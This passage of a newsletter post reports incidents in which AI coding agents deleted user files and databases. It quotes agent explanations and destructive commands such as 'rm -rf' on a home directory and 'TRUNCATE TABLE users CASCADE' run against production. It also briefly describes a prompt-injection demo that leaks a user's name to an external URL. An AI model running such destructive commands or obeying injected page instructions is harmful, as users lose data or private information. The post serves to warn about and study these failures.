Accidental data loss in Claude Code and OpenAI Codex: when AI deletes user files

Firas’s Newsletter

SubscribeSign in

Accidental data loss in Claude Code and OpenAI Codex: when AI deletes user files<br>AI agents delete important data when they misunderstand state during operations

Firas D<br>Jul 23, 2026

Share

Customer: (remarking on empty shelves) It’s not much of a cheese shop really, is it?

Vendor: Finest in the district, Sir […] It’s so clean.

Customer : Well, it’s certainly uncontaminated by cheese.

— Monty Python<br>Let’s explore how AI agents end up cleaning up a bit too much user data.<br>Thibault Sottiaux, who works on the Codex harness at OpenAI, posted about file deletions:<br>We’ve investigated a handful of reports where GPT-5.6 unexpectedly deleted files.<br>What we have found is that this most commonly occurs when:<br>- Full access mode is enabled and codex is run without sandboxing protections, including without auto review being enabled<br>- The model attempts to override the $HOME env var to define a temporary directory.<br>- The model makes an honest mistake and mistakenly deletes $HOME instead.

—thsottiaux, July 16 2026<br>The overlooked risk

Much of the security concern around AI tool use has focused on exfiltration through prompt injection.<br>Many researchers have made demos along these lines:<br>An agent is asked to check a webpage like example.com

The webpage asks for a name to proceed further

The agent calls example.com/evil?myname=John, thus sending the user’s name from the context window to the external server.

In practice, however, these elaborate ‘confused deputy’ exfiltration attacks seem rare compared to widely-reported data loss incidents.<br>The risk of undermining the user’s interests through clumsiness deserves at least as much scrutiny as the risk of leaking secrets.<br>Example 1: File deletion from incorrect $HOME

The Codex investigation followed reports like:<br>GPT-5.6-Sol just accidentally deleted almost ALL of my Mac’s files.

—mattschumer_, July 11 2026<br>The screenshot shows:<br>Worked for 1h 21m<br>I caused a serious local data-loss incident. A review subagent’s cleanup command expanded $HOME incorrectly and ran:<br>rm -rf /Users/mattsdevbox<br>I found and killed the still-running process, but material deletion occurred.

Another user ran into mistargeted ‘cleanup’ on the same day, with the agent explaining:<br>I hit a cleanup-command problem after verification: PowerShell treated an -Include filter unexpectedly and removed the compiled paper files from the papers folder.

—cremieuxrecueil, July 11 2026<br>Example 2: Database deletion from test against the live environment

A few days later, another user reported:<br>GPT-5.6 Sol just deleted my whole production database. That’s it. Not a joke. This had never happened to me before, with any other model, ever.

—brunolemos, July 14 2026<br>The screenshot shows long-term autonomous execution:<br>Pursuing goal Finish implementation, including the app UI, serv... 14h 35m 32s

The agent explains:<br>GPT 5.6 Sol: What went wrong:<br>The repository’s .env contained the Neon production DATABASE_URL.<br>The integration tests required TEST_DATABASE_URL to match DATABASE_URL.<br>I incorrectly pointed TEST_DATABASE_URL at that same Neon production URL instead of provisioning a disposable local test database.<br>The old safety check treated matching variables as sufficient. PRODUCTION_DATABASE_URL was unset, so it did not recognize the Neon URL as production.<br>The test suites then executed destructive setup before every test, including statements such as:<br>TRUNCATE TABLE users CASCADE;<br>and explicit deletion of:<br>users

Example 3: Git Checkout sends stashed work to oblivion

These issues are not limited to particular models or agent harnesses. A situation involving Claude Code from a few months ago:<br>Hey Claude, can you isolate this 3 liner fix into a new branch?

Claude: Sure! git stash && git checkout && git stash pop && git checkout --

And that is how I lost an hour of work.

—peter_szilagyi, April 16 2026<br>The tweet may not show the exact syntax involved, but the gist is: to move changes to a new branch, the agent stashed them, switched branches, and attempted to restore them with git stash pop. But after the pop, it discarded uncommitted changes.<br>The restored work was immediately overwritten. It’s like copy-pasting a paragraph into MS Word, then immediately restoring the document to the last saved version before the paste.<br>Example 4: Deleting the ‘Photos’ folder also deletes the lowercase ‘photos’ folder

A Claude Cowork incident:<br>Asked Claude Cowork organize my wife’s desktop, it stated doing it, asked for a permission to delete temp office files, I granted it, and then it goes “ooops”.<br>Turns out it tried renaming and accidentally deleted a folder with all of the photos my wife made on her camera for the last 15 years. […]<br>I called Apple and they pointed me to a feature in iCloud allowing to retrieve files that were saved before but are no longer on iCloud Drive (they keep them for 30 days).<br>I’m...